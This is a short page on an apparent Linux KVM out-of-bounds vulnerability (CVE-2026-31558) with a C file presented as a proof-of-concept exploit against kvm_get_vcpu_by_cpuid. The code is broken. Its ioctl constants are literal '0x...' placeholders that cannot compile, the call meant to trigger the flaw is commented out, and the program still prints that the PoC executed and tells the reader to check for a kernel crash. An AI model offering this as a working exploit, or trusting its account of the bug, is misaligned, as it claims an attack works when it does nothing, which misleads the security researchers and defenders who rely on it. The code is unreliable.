CVE-2026-31558 Linux内核越界访问漏洞

/* * PoC for CVE-2026-31558 * Triggering out-of-bounds access in kvm_get_vcpu_by_cpuid * Compile: gcc -o poc_exploit poc_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Mock definitions for demonstration #define KVM_GET_VCPU_MMAP_SIZE 0x... // Actual ioctl ID needed #define KVM_CREATE_VM 0x... #define KVM_CREATE_VCPU 0x... int main() { int kvm_fd, vm_fd, vcpu_fd; // Open the KVM device kvm_fd = open("/dev/kvm", O_RDWR); if (kvm_fd < 0) { perror("open /dev/kvm failed"); return -1; } // Create a VM vm_fd = ioctl(kvm_fd, KVM_CREATE_VM, 0); if (vm_fd < 0) { perror("KVM_CREATE_VM failed"); close(kvm_fd); return -1; } // Attempt to create a VCPU with a negative ID to trigger the vulnerability // Note: Actual exploitation depends on specific KVM implementation details // This is a conceptual demonstration of passing a negative integer. long negative_cpuid = -1; printf("[+] Trying to trigger vulnerability with cpuid: %ld\n", negative_cpuid); // In a real scenario, the ioctl call would map to the vulnerable function. // vcpu_fd = ioctl(vm_fd, KVM_CREATE_VCPU, negative_cpuid); printf("[+] PoC executed. Check kernel logs for OOPS/Crash.\n"); close(vm_fd); close(kvm_fd); return 0; }